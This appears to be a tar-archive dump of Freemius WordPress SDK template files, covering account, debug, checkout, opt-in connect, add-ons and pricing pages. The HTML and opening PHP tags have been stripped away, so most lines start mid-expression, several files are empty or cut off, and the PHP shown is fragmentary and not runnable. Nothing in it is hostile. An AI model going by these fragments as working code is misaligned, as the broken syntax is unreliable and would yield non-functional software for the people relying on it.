) ); if ( $has_bundle_license ) { $profile[] = array( 'id' => 'bundle_plan', 'title' => $bundle_plan_text, 'value' => $bundle_plan_title ); } } if ( is_object( $license ) ) { if ( ! $hide_license_key ) { $profile[] = array( 'id' => 'license_key', 'title' => fs_text_inline( 'License Key', $slug ), 'value' => $license->secret_key, ); } } } } ?> > is_verified() ) : ?> is_trial() ) : ?> is_lifetime() ) : ?> is_first_payment_pending() ) : ?> is_expired() ?> is_first_payment_pending() ) : ?> is_trial() ) : ?>
                  $fs, 'slug' => $slug, 'license' => $available_license, 'plan' => $available_license_paid_plan, 'is_localhost' => $site->is_localhost(), 'install_id' => $site->id, 'class' => 'button-primary', ); fs_require_template( 'account/partials/activate-license-button.php', $view_params ); ?>
                  get_unique_affix() . '_sync_license' ) ?>
                  has_premium_version() ) : ?> can_use_premium_code() ) : ?>
                  is_verified() ) : ?>
                  has_release_on_freemius() ) : ?> secret_key ) && in_array( $p['id'], array( 'email', 'user_name' ) ) ) ) : ?>

                  get_site(); if ( is_object( $site ) && ( ! is_object( $current_install ) || $current_install->id != $site->id ) ) { $fs->switch_to_blog( $current_blog_id, $site, true ); } ?>
                  is_whitelabeled_by_flag() ) { $hide_all_addons_data = true; foreach ( $addons_to_show as $addon_id ) { $is_addon_installed = isset( $installed_addons_ids_map[ $addon_id ] ); $addon_info = $fs->_get_addon_info( $addon_id, $is_addon_installed ); $is_addon_connected = $addon_info['is_connected']; $fs_addon = ( $is_addon_connected && $is_addon_installed ) ? freemius( $addon_id ) : null; $is_whitelabeled = is_object( $fs_addon ) ? $fs_addon->is_whitelabeled( true ) : $addon_info['is_whitelabeled']; if ( ! $is_whitelabeled ) { $hide_all_addons_data = false; } if ( $is_data_debug_mode ) { $is_whitelabeled = false; } $addon_info_by_id[ $addon_id ] = $addon_info; } } foreach ( $addons_to_show as $addon_id ) { $is_addon_installed = isset( $installed_addons_ids_map[ $addon_id ] ); if ( $hide_all_addons_data && ! $is_addon_installed && ! file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $fs->get_addon_basename( $addon_id ) ) ) ) { continue; } $addon_view_params = array( 'parent_fs' => $fs, 'addon_id' => $addon_id, 'odd' => $odd, 'fs_blog_id' => $fs_blog_id, 'active_plugins_directories_map' => &$active_plugins_directories_map, 'is_addon_installed' => $is_addon_installed, 'addon_info' => isset( $addon_info_by_id[ $addon_id ] ) ? $addon_info_by_id[ $addon_id ] : $fs->_get_addon_info( $addon_id, $is_addon_installed ), 'is_whitelabeled' => ( $is_whitelabeled && ! $is_data_debug_mode ) ); fs_require_template( 'account/partials/addon.php', $addon_view_params ); $odd = ! $odd; } ?>

                  do_action( 'after_account_details' ) ?> $VARS['id'], 'payments' => $payments ); fs_require_once_template( 'account/billing.php', $view_params ); fs_require_once_template( 'account/payments.php', $view_params ); } ?>
                  _get_subscription_cancellation_dialog_box_template_params( true ); if ( ! empty( $subscription_cancellation_dialog_box_template_params ) ) { fs_require_template( 'forms/subscription-cancellation.php', $subscription_cancellation_dialog_box_template_params ); } ?> _add_tabs_after_content(); } $params = array( 'page' => 'account', 'module_id' => $fs->get_id(), 'module_type' => $fs->get_module_type(), 'module_slug' => $slug, 'module_version' => $fs->get_plugin_version(), ); fs_require_template( 'powered-by.php', $params ); vendor/freemius/templates/ajax-loader.php000064400000000374147600365160014572 0ustar00 vendor/freemius/templates/email.php000064400000002007147600365160013465 0ustar00 $section ) { ?> $row ) { $col_count = count( $row ); ?>
                  :
                  vendor/freemius/templates/api-connectivity-message-js.php000064400000002016147600365160017717 0ustar00 vendor/freemius/templates/debug.php000064400000114316147600365160013473 0ustar00

                  newest->version ?>

                  get_option( 'ms_migration_complete', false, true ) ) : ?>
                  Resolve Clone(s)
                  'WP_FS__REMOTE_ADDR', 'val' => WP_FS__REMOTE_ADDR, ), array( 'key' => 'WP_FS__ADDRESS_PRODUCTION', 'val' => WP_FS__ADDRESS_PRODUCTION, ), array( 'key' => 'FS_API__ADDRESS', 'val' => FS_API__ADDRESS, ), array( 'key' => 'FS_API__SANDBOX_ADDRESS', 'val' => FS_API__SANDBOX_ADDRESS, ), array( 'key' => 'WP_FS__DIR', 'val' => WP_FS__DIR, ), array( 'key' => 'wp_using_ext_object_cache()', 'val' => wp_using_ext_object_cache() ? 'true' : 'false', ), ) ?>
                  >

                  plugins as $sdk_path => $data ) : ?> version ) ?> >
                  version ?> plugin_path ?>
                  get_option( $module_type . 's' ), FS_Plugin::get_class_name() ) ?> 0 ) : ?>

                  $data ) : ?> file ); } else { $current_theme = wp_get_theme(); $is_active = ( $current_theme->stylesheet === $data->file ); if ( ! $is_active && is_child_theme() ) { $parent_theme = $current_theme->parent(); $is_active = ( ( $parent_theme instanceof WP_Theme ) && $parent_theme->stylesheet === $data->file ); } } ?> id ); $active_modules_by_id[ $data->id ] = true; } ?> has_api_connectivity(); if ( true === $has_api_connectivity && $fs->is_on() ) { echo ' style="background: #E6FFE6; font-weight: bold"'; } else { echo ' style="background: #ffd0d0; font-weight: bold"'; } } ?>> > is_on() ) { echo ' style="color: red; text-transform: uppercase;"'; } ?>>is_on() ? $on_text : $off_text ); } ?> get_network_install_blog_id(); $network_user = $fs->get_network_user(); } ?>
                  id ?> version ?> title ?> file ?> public_key ?> email; } ?> has_trial_plan() ) : ?>
                  is_registered() ) : ?> is_network_upgrade_mode() ) : ?>
                  0 ) : ?>

                  /

                  $sites ) : ?> blog_id : null; if ( is_null( $site_url ) || $is_multisite ) { $site_url = Freemius::get_unfiltered_site_url( $blog_id, true, true ); } $is_active_clone = ( $site->is_clone( $site_url ) && isset( $active_modules_by_id[ $site->plugin_id ] ) ); if ( $is_active_clone ) { $has_any_active_clone = true; } ?>
                  id ?> url ) ?> user_id ?> license_id) ? $site->license_id : '' ?> plan_id ) ) { if ( false === $all_plans ) { $option_name = 'plans'; if ( WP_FS__MODULE_TYPE_PLUGIN !== $module_type ) { $option_name = $module_type . '_' . $option_name; } $all_plans = fs_get_entities( $fs_options->get_option( $option_name, array() ), FS_Plugin_Plan::get_class_name() ); } foreach ( $all_plans[ $slug ] as $plan ) { $plan_id = Freemius::_decrypt( $plan->id ); if ( $site->plan_id == $plan_id ) { $plan_name = Freemius::_decrypt( $plan->name ); break; } } } echo $plan_name; ?> public_key ?> is_whitelabeled ? FS_Plugin_License::mask_secret_key_for_html( $site->secret_key ) : esc_html( $site->secret_key ); ?>
                  $plugin_addons ) : ?>

                  id ?> title ?> slug ?> version ?> public_key ?> secret_key ) ?>
                  id ] = true; } } foreach ( $module_types as $module_type ) { /** * @var FS_Plugin_License[] $licenses */ $licenses = $VARS[ $module_type . '_licenses' ]; foreach ( $licenses as $license ) { if ( $license->is_whitelabeled ) { $users_with_developer_license_by_id[ $license->user_id ] = true; } } } ?>

                  $user ) : ?>
                  id ?> get_name() ?> email ?> is_verified ) ?> public_key ?> secret_key) : esc_html( $user->secret_key ) ?>
                  0 ) : ?>

                  id ?> plugin_id ?> user_id ?> plan_id ?> is_unlimited() ? 'Unlimited' : ( $license->is_single_site() ? 'Single Site' : $license->quota ) ?> activated ?> is_block_features ? 'Blocking' : 'Flexible' ?> is_whitelabeled ? 'Whitelabeled' : 'Normal' ?> is_whitelabeled || ! isset( $user_ids_map[ $license->user_id ] ) ) ? $license->get_html_escaped_masked_secret_key() : esc_html( $license->secret_key ); ?> expiration ?>

                  #
                  {$log.log_order}. {$log.type} {$log.logger} {$log.function} {$log.message_short}
                  {$log.message}
                  {$log.file}:{$log.line} {$log.created}
                  vendor/freemius/templates/auto-installation.php000064400000016336147600365160016057 0ustar00is_tracking_allowed() ? 'stop_tracking' : 'allow_tracking'; $title = $fs->get_plugin_title(); if ( $plugin_id != $fs->get_id() ) { $addon = $fs->get_addon( $plugin_id ); if ( is_object( $addon ) ) { $title = $addon->title . ' ' . fs_text_inline( 'Add-On', 'addon', $slug ); } } $plugin_title = sprintf( '%s', esc_html( $title ) ); $sec_countdown = 30; $countdown_html = sprintf( esc_js( /* translators: %s: Number of seconds */ fs_text_inline( '%s sec', 'x-sec', $slug ) ), sprintf( '%s', $sec_countdown ) ); fs_enqueue_local_style( 'fs_dialog_boxes', '/admin/dialog-boxes.css' ); fs_enqueue_local_style( 'fs_common', '/admin/common.css' ); $params = array(); $loader_html = fs_get_template( 'ajax-loader.php', $params ); // Pass unique auto installation URL if WP_Filesystem is needed. $install_url = $fs->_get_sync_license_url( $plugin_id, true, array( 'auto_install' => 'true' ) ); ob_start(); $method = ''; // Leave blank so WP_Filesystem can populate it as necessary. $credentials = request_filesystem_credentials( esc_url_raw( $install_url ), $method, false, WP_PLUGIN_DIR, array() ); $credentials_form = ob_get_clean(); $require_credentials = ! empty( $credentials_form ); ?>

                  %s', 'https://freemius.com', 'freemius.com' ), $countdown_html ) ?>

                  ' vendor/freemius/templates/sticky-admin-notice-js.php000064400000002364147600365160016671 0ustar00 vendor/freemius/templates/admin-notice.php000064400000005143147600365160014751 0ustar00
                  >
                  vendor/freemius/templates/plugin-icon.php000064400000001024147600365160014620 0ustar00
                  vendor/freemius/templates/checkout.php000064400000026271147600365160014214 0ustar00get_slug(); $timestamp = time(); $context_params = array( 'plugin_id' => $fs->get_id(), 'public_key' => $fs->get_public_key(), 'plugin_version' => $fs->get_plugin_version(), 'mode' => 'dashboard', 'trial' => fs_request_get_bool( 'trial' ), 'is_ms' => ( fs_is_network_admin() && $fs->is_network_active() ), ); $plan_id = fs_request_get( 'plan_id' ); if ( FS_Plugin_Plan::is_valid_id( $plan_id ) ) { $context_params['plan_id'] = $plan_id; } $licenses = fs_request_get( 'licenses' ); if ( $licenses === strval( intval( $licenses ) ) && $licenses > 0 ) { $context_params['licenses'] = $licenses; } $plugin_id = fs_request_get( 'plugin_id' ); if ( ! FS_Plugin::is_valid_id( $plugin_id ) ) { $plugin_id = $fs->get_id(); } if ( $plugin_id == $fs->get_id() ) { $is_premium = $fs->is_premium(); $bundle_id = $fs->get_bundle_id(); if ( ! is_null( $bundle_id ) ) { $context_params['bundle_id'] = $bundle_id; } } else { // Identify the module code version of the checkout context module. if ( $fs->is_addon_activated( $plugin_id ) ) { $fs_addon = Freemius::get_instance_by_id( $plugin_id ); $is_premium = $fs_addon->is_premium(); } else { // If add-on isn't activated assume the premium version isn't installed. $is_premium = false; } } // Get site context secure params. if ( $fs->is_registered() ) { $site = $fs->get_site(); if ( $plugin_id != $fs->get_id() ) { if ( $fs->is_addon_activated( $plugin_id ) ) { $fs_addon = Freemius::get_instance_by_id( $plugin_id ); $addon_site = $fs_addon->get_site(); if ( is_object( $addon_site ) ) { $site = $addon_site; } } } $context_params = array_merge( $context_params, FS_Security::instance()->get_context_params( $site, $timestamp, 'checkout' ) ); } else { $current_user = Freemius::_get_current_wp_user(); // Add site and user info to the request, this information // is NOT being stored unless the user complete the purchase // and agrees to the TOS. $context_params = array_merge( $context_params, array( 'user_firstname' => $current_user->user_firstname, 'user_lastname' => $current_user->user_lastname, 'user_email' => $current_user->user_email, 'home_url' => home_url(), ) ); $fs_user = Freemius::_get_user_by_email( $current_user->user_email ); if ( is_object( $fs_user ) && $fs_user->is_verified() ) { $context_params = array_merge( $context_params, FS_Security::instance()->get_context_params( $fs_user, $timestamp, 'checkout' ) ); } } if ( $fs->is_payments_sandbox() ) { // Append plugin secure token for sandbox mode authentication. $context_params['sandbox'] = FS_Security::instance()->get_secure_token( $fs->get_plugin(), $timestamp, 'checkout' ); /** * @since 1.1.7.3 Add security timestamp for sandbox even for anonymous user. */ if ( empty( $context_params['s_ctx_ts'] ) ) { $context_params['s_ctx_ts'] = $timestamp; } } $return_url = $fs->_get_sync_license_url( $plugin_id ); $can_user_install = ( ( $fs->is_plugin() && current_user_can( 'install_plugins' ) ) || ( $fs->is_theme() && current_user_can( 'install_themes' ) ) ); $query_params = array_merge( $context_params, $_GET, array( // Current plugin version. 'plugin_version' => $fs->get_plugin_version(), 'sdk_version' => WP_FS__SDK_VERSION, 'is_premium' => $is_premium ? 'true' : 'false', 'can_install' => $can_user_install ? 'true' : 'false', 'return_url' => $return_url, ) ); $xdebug_session = fs_request_get( 'XDEBUG_SESSION' ); if ( false !== $xdebug_session ) { $query_params['XDEBUG_SESSION'] = $xdebug_session; } $view_params = array( 'id' => $VARS['id'], 'page' => strtolower( $fs->get_text_inline( 'Checkout', 'checkout' ) ) . ' ' . $fs->get_text_inline( 'PCI compliant', 'pci-compliant' ), ); fs_require_once_template('secure-https-header.php', $view_params); ?>
                  vendor/freemius/templates/connect.php000064400000130066147600365160014036 0ustar00get_slug(); $is_pending_activation = $fs->is_pending_activation(); $is_premium_only = $fs->is_only_premium(); $has_paid_plans = $fs->has_paid_plan(); $is_premium_code = $fs->is_premium(); $is_freemium = $fs->is_freemium(); $fs->_enqueue_connect_essentials(); /** * Enqueueing the styles in `_enqueue_connect_essentials()` is too late, as we need them in the HEADER. Therefore, inject the styles inline to avoid FOUC. * * @author Vova Feldman (@svovaf) */ echo "\n"; $current_user = Freemius::_get_current_wp_user(); $first_name = $current_user->user_firstname; if ( empty( $first_name ) ) { $first_name = $current_user->nickname; } $site_url = Freemius::get_unfiltered_site_url(); $protocol_pos = strpos( $site_url, '://' ); if ( false !== $protocol_pos ) { $site_url = substr( $site_url, $protocol_pos + 3 ); } $freemius_usage_tracking_url = $fs->get_usage_tracking_terms_url(); $freemius_plugin_terms_url = $fs->get_eula_url(); $error = fs_request_get( 'error' ); $has_release_on_freemius = $fs->has_release_on_freemius(); $require_license_key = $is_premium_only || ( $is_freemium && ( $is_premium_code || ! $has_release_on_freemius ) && fs_request_get_bool( 'require_license', ( $is_premium_code || $has_release_on_freemius ) ) ); $freemius_activation_terms_url = ($fs->is_premium() && $require_license_key) ? $fs->get_license_activation_terms_url() : $freemius_usage_tracking_url; $freemius_activation_terms_html = 'freemius.com'; if ( $is_pending_activation ) { $require_license_key = false; } if ( $require_license_key ) { $fs->_add_license_activation_dialog_box(); } $is_optin_dialog = ( $fs->is_theme() && $fs->is_themes_page() && $fs->show_opt_in_on_themes_page() ); if ( $is_optin_dialog ) { $show_close_button = false; $previous_theme_activation_url = ''; if ( ! $is_premium_code ) { $show_close_button = true; } else if ( $is_premium_only ) { $previous_theme_activation_url = $fs->get_previous_theme_activation_url(); $show_close_button = ( ! empty( $previous_theme_activation_url ) ); } } $is_network_level_activation = ( fs_is_network_admin() && $fs->is_network_active() && ! $fs->is_network_delegated_connection() ); $fs_user = Freemius::_get_user_by_email( $current_user->user_email ); $activate_with_current_user = ( is_object( $fs_user ) && ! $is_pending_activation && // If requires a license for activation, use the user associated with the license for the opt-in. ! $require_license_key && ! $is_network_level_activation ); $optin_params = $fs->get_opt_in_params( array(), $is_network_level_activation ); $sites = isset( $optin_params['sites'] ) ? $optin_params['sites'] : array(); $is_network_upgrade_mode = ( fs_is_network_admin() && $fs->is_network_upgrade_mode() ); /* translators: %s: name (e.g. Hey John,) */ $hey_x_text = esc_html( sprintf( fs_text_x_inline( 'Hey %s,', 'greeting', 'hey-x', $slug ), $first_name ) ); $activation_state = array( 'is_license_activation' => $require_license_key, 'is_pending_activation' => $is_pending_activation, 'is_gdpr_required' => true, 'is_network_level_activation' => $is_network_level_activation, 'is_dialog' => $is_optin_dialog, ); ?>
                  do_action( 'connect/before', $activation_state ); ?>
                  $fs->get_id(), 'size' => $size, ); fs_require_once_template( 'plugin-icon.php', $vars ); ?>
                  do_action( 'connect/before_message', $activation_state ) ?>
                  apply_filters( 'connect_error_esc_html', esc_html( $error ) ) ?>
                  is_plugin_update() ) { echo $fs->apply_filters( 'connect-header', sprintf( '

                  %s

                  ', esc_html( fs_text_inline( 'Never miss an important update', 'connect-header' ) ) ) ); } else { echo $fs->apply_filters( 'connect-header_on-update', sprintf( '

                  %s

                  ', sprintf( esc_html( /* translators: %1$s: plugin name (e.g., "Awesome Plugin"); %2$s: version (e.g., "1.2.3") */ fs_text_inline('Thank you for updating to %1$s v%2$s!', 'connect-header_on-update' ) ), esc_html( $fs->get_plugin_name() ), $fs->get_plugin_version() ) ) ); } } ?>

                  apply_filters( 'pending_activation_message', sprintf( /* translators: %s: name (e.g. Thanks John!) */ fs_text_inline( 'Thanks %s!', 'thanks-x', $slug ) . '
                  ' . fs_text_inline( 'You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s.', 'pending-activation-message', $slug ), $first_name, '' . $fs->get_plugin_name() . '', '' . $current_user->user_email . '', fs_text_inline( 'complete the opt-in', 'complete-the-opt-in', $slug ) ) ); } else if ( $require_license_key ) { $button_label = fs_text_inline( 'Activate License', 'activate-license', $slug ); $message = $fs->apply_filters( 'connect-message_on-premium', sprintf( fs_text_inline( 'Welcome to %s! To get started, please enter your license key:', 'thanks-for-purchasing', $slug ), '' . $fs->get_plugin_name() . '' ), $first_name, $fs->get_plugin_name() ); } else { $filter = 'connect_message'; if ( ! $fs->is_plugin_update() ) { $default_optin_message = esc_html( sprintf( /* translators: %s: module type (plugin, theme, or add-on) */ fs_text_inline( 'Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.', 'connect-message', $slug ), $fs->get_module_label( true ) ) ); } else { // If Freemius was added on a plugin update, set different // opt-in message. /* translators: %s: module type (plugin, theme, or add-on) */ $default_optin_message = esc_html( sprintf( fs_text_inline( 'We have introduced this opt-in so you never miss an important update and help us make the %s more compatible with your site and better at doing what you need it to.', 'connect-message_on-update_why' ), $fs->get_module_label( true ) ) ); $default_optin_message .= '

                  ' . esc_html( fs_text_inline( 'Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info.', 'connect-message_on-update', $slug ) ); if ( $fs->is_enable_anonymous() ) { $default_optin_message .= ' ' . esc_html( fs_text_inline( 'If you skip this, that\'s okay! %1$s will still work just fine.', 'connect-message_on-update_skip', $slug ) ); } // If user customized the opt-in message on update, use // that message. Otherwise, fallback to regular opt-in // custom message if exists. if ( $fs->has_filter( 'connect_message_on_update' ) ) { $filter = 'connect_message_on_update'; } } $message = $fs->apply_filters( $filter, sprintf( $default_optin_message, '' . esc_html( $fs->get_plugin_name() ) . '', '' . $current_user->user_login . '', '' . $site_url . '', $freemius_activation_terms_html ), $first_name, $fs->get_plugin_name(), $current_user->user_login, '' . $site_url . '', $freemius_activation_terms_html, true ); } if ( $is_network_upgrade_mode ) { $network_integration_text = esc_html( fs_text_inline( 'We\'re excited to introduce the Freemius network-level integration.', 'connect_message_network_upgrade', $slug ) ); if ($is_premium_code){ $message = $network_integration_text . ' ' . sprintf( fs_text_inline( 'During the update process we detected %d site(s) that are still pending license activation.', 'connect_message_network_upgrade-premium', $slug ), count( $sites ) ); $message .= '

                  ' . sprintf( fs_text_inline( 'If you\'d like to use the %s on those sites, please enter your license key below and click the activation button.', 'connect_message_network_upgrade-premium-activate-license', $slug ), $is_premium_only ? $fs->get_module_label( true ) : sprintf( /* translators: %s: module type (plugin, theme, or add-on) */ fs_text_inline( "%s's paid features", 'x-paid-features', $slug ), $fs->get_module_label( true ) ) ); /* translators: %s: module type (plugin, theme, or add-on) */ $message .= ' ' . sprintf( fs_text_inline( 'Alternatively, you can skip it for now and activate the license later, in your %s\'s network-level Account page.', 'connect_message_network_upgrade-premium-skip-license', $slug ), $fs->get_module_label( true ) ); }else { $message = $network_integration_text . ' ' . sprintf( fs_text_inline( 'During the update process we detected %s site(s) in the network that are still pending your attention.', 'connect_message_network_upgrade-free', $slug ), count( $sites ) ) . '

                  ' . ( fs_starts_with( $message, $hey_x_text . '
                  ' ) ? substr( $message, strlen( $hey_x_text . '
                  ' ) ) : $message ); } } echo $message; ?>

                  do_action( 'connect/after_license_input', $activation_state ); ?> - %s', $fs->get_text_inline( 'Yes', 'yes' ), $fs->get_text_inline( 'send me security & feature updates, educational content and offers.', 'send-updates' ) ); $do_not_send_updates_text = sprintf( '%s - %s', $fs->get_text_inline( 'No', 'no' ), sprintf( $fs->get_text_inline( 'do %sNOT%s send me security & feature updates, educational content and offers.', 'do-not-send-updates' ), '', '' ) ); ?>
                  $fs->get_id(), 'sites' => $sites, 'require_license_key' => $require_license_key ); echo fs_get_template( 'partials/network-activation.php', $vars ); ?> do_action( 'connect/after_message', $activation_state ) ?>
                  do_action( 'connect/before_actions', $activation_state ) ?> is_enable_anonymous() && ! $is_pending_activation && ( ! $require_license_key || $is_network_upgrade_mode ) ) : ?> apply_filters( 'show_delegation_option', true ) ) : ?>
                  get_unique_affix() . '_activate_existing' ) ?>
                  $value ) : ?>
                  do_action( 'connect/after_actions', $activation_state ) ?>
                  is_permission_requested( 'newsletter' ) ) { $permissions[] = $permission_manager->get_newsletter_permission(); } $permissions = $permission_manager->get_permissions( $require_license_key, $permissions ); if ( ! empty( $permissions ) ) : ?>

                  do_action( 'connect/after', $activation_state ); if ( $is_optin_dialog ) { ?>
                  get_text_inline( 'Secure HTTPS %s page, running from an external domain', 'secure-x-page-header' ), $VARS['page'] ) ) . ' - ' . sprintf( '%s', 'https://www.mcafeesecure.com/verify?host=' . WP_FS__ROOT_DOMAIN_PRODUCTION, 'Freemius Inc. [US]' ); } ?>
                  vendor/freemius/templates/add-ons.php000064400000056366147600365160013744 0ustar00get_slug(); $open_addon_slug = fs_request_get( 'slug' ); $open_addon = false; $is_data_debug_mode = $fs->is_data_debug_mode(); $is_whitelabeled = $fs->is_whitelabeled(); /** * @var FS_Plugin[] */ $addons = $fs->get_addons(); $has_addons = ( is_array( $addons ) && 0 < count( $addons ) ); $account_addon_ids = $fs->get_updated_account_addons(); $download_latest_text = fs_text_x_inline( 'Download Latest', 'as download latest version', 'download-latest', $slug ); $view_details_text = fs_text_inline( 'View details', 'view-details', $slug ); $has_tabs = $fs->_add_tabs_before_content(); $fs_blog_id = ( is_multisite() && ! is_network_admin() ) ? get_current_blog_id() : 0; ?>

                  get_plugin_name() ) ) ?>

                  do_action( 'addons/after_title' ) ?>

                    _get_addons_plans_and_pricing_map_by_id(); $active_plugins_directories_map = Freemius::get_active_plugins_directories_map( $fs_blog_id ); ?> is_whitelabeled_by_flag() ) { $hide_all_addons_data = true; $addon_ids = $fs->get_updated_account_addons(); $installed_addons = $fs->get_installed_addons(); foreach ( $installed_addons as $fs_addon ) { $addon_ids[] = $fs_addon->get_id(); } if ( ! empty( $addon_ids ) ) { $addon_ids = array_unique( $addon_ids ); } foreach ( $addon_ids as $addon_id ) { $addon = $fs->get_addon( $addon_id ); if ( ! is_object( $addon ) ) { continue; } $addon_storage = FS_Storage::instance( WP_FS__MODULE_TYPE_PLUGIN, $addon->slug ); if ( ! $addon_storage->is_whitelabeled ) { $hide_all_addons_data = false; break; } if ( $is_data_debug_mode ) { $is_whitelabeled = false; } } } ?> get_addon_basename( $addon->id ); $is_addon_installed = file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $basename ) ); if ( ! $is_addon_installed && $hide_all_addons_data ) { continue; } $is_addon_activated = $is_addon_installed ? $fs->is_addon_activated( $addon->id ) : false; $is_plugin_active = ( $is_addon_activated || isset( $active_plugins_directories_map[ dirname( $basename ) ] ) ); $open_addon = ( $open_addon || ( $open_addon_slug === $addon->slug ) ); $price = 0; $has_trial = false; $has_free_plan = false; $has_paid_plan = false; if ( isset( $plans_and_pricing_by_addon_id[$addon->id] ) ) { $plans = $plans_and_pricing_by_addon_id[$addon->id]; if ( is_array( $plans ) && 0 < count( $plans ) ) { foreach ( $plans as $plan ) { if ( ! isset( $plan->pricing ) || ! is_array( $plan->pricing ) || 0 == count( $plan->pricing ) ) { // No pricing means a free plan. $has_free_plan = true; continue; } $has_paid_plan = true; $has_trial = $has_trial || ( is_numeric( $plan->trial_period ) && ( $plan->trial_period > 0 ) ); $min_price = 999999; foreach ( $plan->pricing as $pricing ) { $pricing = new FS_Pricing( $pricing ); if ( ! $pricing->is_usd() ) { /** * Skip non-USD pricing. * * @author Leo Fajardo (@leorw) * @since 2.3.1 */ continue; } if ( $pricing->has_annual() ) { $min_price = min( $min_price, $pricing->annual_price ); } else if ( $pricing->has_monthly() ) { $min_price = min( $min_price, 12 * $pricing->monthly_price ); } } if ( $min_price < 999999 ) { $price = $min_price; } } } if ( ! $has_paid_plan && ! $has_free_plan ) { continue; } } ?>
                  • get_id() . '&plugin=' . $addon->slug . '&TB_iframe=true&width=600&height=550' ) ), esc_attr( sprintf( fs_text_inline( 'More information about %s', 'more-information-about-x', $slug ), $addon->title ) ), esc_attr( $addon->title ) ) . ' class="thickbox%s">%s'; echo sprintf( $view_details_link, /** * Additional class. * * @author Leo Fajardo (@leorw) * @since 2.2.4 */ ' fs-overlay', /** * Set the view details link text to an empty string since it is an overlay that * doesn't really need a text and whose purpose is to open the details dialog when * the card is clicked. * * @author Leo Fajardo (@leorw) * @since 2.2.4 */ '' ); ?> info ) ) { $addon->info = new stdClass(); } if ( ! isset( $addon->info->card_banner_url ) ) { $addon->info->card_banner_url = '//dashboard.freemius.com/assets/img/marketing/blueprint-300x100.jpg'; } if ( ! isset( $addon->info->short_description ) ) { $addon->info->short_description = 'What\'s the one thing your add-on does really, really well?'; } ?>
                    • %s', esc_html( $is_plugin_active ? fs_text_x_inline( 'Active', 'active add-on', 'active-addon', $slug ) : fs_text_x_inline( 'Installed', 'installed add-on', 'installed-addon', $slug ) ) ); } ?>
                    • title ?>
                    • 0) $descriptors[] = '$' . number_format( $price, 2 ); if ($has_trial) $descriptors[] = fs_text_x_inline( 'Trial', 'trial period', 'trial', $slug ); echo implode(' - ', $descriptors); } ?>
                    • info->short_description ) ? $addon->info->short_description : 'SHORT DESCRIPTION' ?>
                    • is_wp_org_compliant ); $is_allowed_to_install = ( $fs->is_allowed_to_install() || $is_free_only_wp_org_compliant ); $show_premium_activation_or_installation_action = true; if ( ! in_array( $addon->id, $account_addon_ids ) ) { $show_premium_activation_or_installation_action = false; } else if ( $is_addon_installed ) { /** * If any add-on's version (free or premium) is installed, check if the * premium version can be activated and show the relevant action. Otherwise, * show the relevant action for the free version. * * @author Leo Fajardo (@leorw) * @since 2.4.5 */ $fs_addon = $is_addon_activated ? $fs->get_addon_instance( $addon->id ) : null; $premium_plugin_basename = is_object( $fs_addon ) ? $fs_addon->premium_plugin_basename() : "{$addon->premium_slug}/{$addon->slug}.php"; if ( ( $is_addon_activated && $fs_addon->is_premium() ) || file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $premium_plugin_basename ) ) ) { $basename = $premium_plugin_basename; } $show_premium_activation_or_installation_action = ( ( ! $is_addon_activated || ! $fs_addon->is_premium() ) && /** * This check is needed for cases when an active add-on doesn't have an * associated Freemius instance. * * @author Leo Fajardo (@leorw) * @since 2.4.5 */ ( ! $is_plugin_active ) ); } ?>
                    • _get_latest_download_local_url( $addon->id ); ?>
                    • %s', wp_nonce_url( self_admin_url( 'update.php?' . ( ( $has_paid_plan || ! $addon->is_wp_org_compliant ) ? 'fs_allow_updater_and_dialog=true&' : '' ) . 'action=install-plugin&plugin=' . $addon->slug ), 'install-plugin_' . $addon->slug ), fs_esc_html_inline( 'Install Now', 'install-now', $slug ) ); } else { echo sprintf( '%s', wp_nonce_url( 'plugins.php?action=activate&plugin=' . $basename, 'activate-plugin_' . $basename ), fs_esc_attr_inline( 'Activate this add-on', 'activate-this-addon', $addon->slug ), fs_text_inline( 'Activate', 'activate', $addon->slug ) ); } ?>
                  do_action( 'addons/after_addons' ) ?>
                  _add_tabs_after_content(); } $params = array( 'page' => 'addons', 'module_id' => $fs->get_id(), 'module_type' => $fs->get_module_type(), 'module_slug' => $slug, 'module_version' => $fs->get_plugin_version(), ); fs_require_template( 'powered-by.php', $params );vendor/freemius/templates/tabs-capture-js.php000064400000003356147600365160015412 0ustar00get_slug(); ?> vendor/freemius/templates/powered-by.php000064400000004227147600365160014461 0ustar00is_whitelabeled() && ! $fs->apply_filters( 'hide_freemius_powered_by', false ) ) { wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'json2' ); fs_enqueue_local_script( 'postmessage', 'nojquery.ba-postmessage.min.js' ); fs_enqueue_local_script( 'fs-postmessage', 'postmessage.js' ); ?>
                  vendor/freemius/templates/gdpr-optin-js.php000064400000004701147600365160015076 0ustar00 vendor/freemius/templates/index.php000064400000000127147600365160013506 0ustar00 vendor/freemius/templates/pricing.php000064400000016761147600365160014045 0ustar00get_slug(); $timestamp = time(); $context_params = array( 'plugin_id' => $fs->get_id(), 'plugin_public_key' => $fs->get_public_key(), 'plugin_version' => $fs->get_plugin_version(), ); $bundle_id = $fs->get_bundle_id(); if ( ! is_null( $bundle_id ) ) { $context_params['bundle_id'] = $bundle_id; } // Get site context secure params. if ( $fs->is_registered() ) { $context_params = array_merge( $context_params, FS_Security::instance()->get_context_params( $fs->get_site(), $timestamp, 'upgrade' ) ); } else { $context_params['home_url'] = home_url(); } if ( $fs->is_payments_sandbox() ) // Append plugin secure token for sandbox mode authentication.) { $context_params['sandbox'] = FS_Security::instance()->get_secure_token( $fs->get_plugin(), $timestamp, 'checkout' ); } $query_params = array_merge( $context_params, $_GET, array( 'next' => $fs->_get_sync_license_url( false, false ), 'plugin_version' => $fs->get_plugin_version(), // Billing cycle. 'billing_cycle' => fs_request_get( 'billing_cycle', WP_FS__PERIOD_ANNUALLY ), 'is_network_admin' => fs_is_network_admin() ? 'true' : 'false', 'currency' => $fs->apply_filters( 'default_currency', 'usd' ), 'discounts_model' => $fs->apply_filters( 'pricing/discounts_model', 'absolute' ), ) ); $use_external_pricing = $fs->should_use_external_pricing(); if ( ! $use_external_pricing ) { $pricing_js_url = fs_asset_url( $fs->get_pricing_js_path() ); wp_enqueue_script( 'freemius-pricing', $pricing_js_url ); } else { if ( ! $fs->is_registered() ) { $template_data = array( 'id' => $fs->get_id(), ); 